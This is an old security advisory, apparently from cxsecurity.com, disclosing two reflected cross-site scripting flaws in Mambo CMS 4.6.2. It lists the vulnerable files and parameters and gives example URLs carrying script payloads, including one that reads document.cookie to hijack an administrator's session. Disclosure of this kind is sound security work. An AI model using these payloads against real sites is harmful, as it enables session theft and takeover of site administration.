Mambo 4.6.2 Full Version - Multiple Cross Site Scripting

2008-08-15 / 2008-08-16
Credit: irancrash
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

---------------------------------------------------------------- Script : Mambo 4.6.2 Full & Older Versions Type : Multiple Cross Site Scripting Vulnerabilities Alert Level : Medium ---------------------------------------------------------------- Download From : http://surfnet.dl.sourceforge.net/sourceforge/mambo/MamboV4.6.2.zip ---------------------------------------------------------------- Discovered by : Khashayar Fereidani My Website : http://FEREIDANI.IR Khashayar Fereidani Email : irancrash [ a t ] gmail [ d o t ] com ---------------------------------------------------------------- Cross Site Scripting Vulnerability 1 : Vulnerable File : administrator/popups/index3pop.php Vulnerable Line (5) : <title><?php echo $mosConfig_sitename; ?> - Administration [Mambo]</title> Vulnerable Variable : mosConfig_sitename For Example : http://Example/administrator/popups/index3pop.php?mosConfig_sitename=</title><script>alert(document.cookie)</script> Attacker can hijack administrator cookie and session and login with they ---------------------------------------------------------------- Cross Site Scripting Vulnerability 2 : Vulnerable File : mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/connector.php? Vulnable Variable : Any Variable - You can set any variable .... For Example set (hacker) variable : http://Example/mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/connector.php?khashayar=<script>alert('xss')</script> you can set cross site scripting code in variable name : http://Example/mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/connector.php?<script>alert('xss')</script>=Hello+Word ---------------------------------------------------------------- Tnx : God http://IRCRASH.COM http://FEREIDANI.IR ----------------------------------------------------------------

References:

http://seclists.org/bugtraq/2008/Aug/0180.html


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top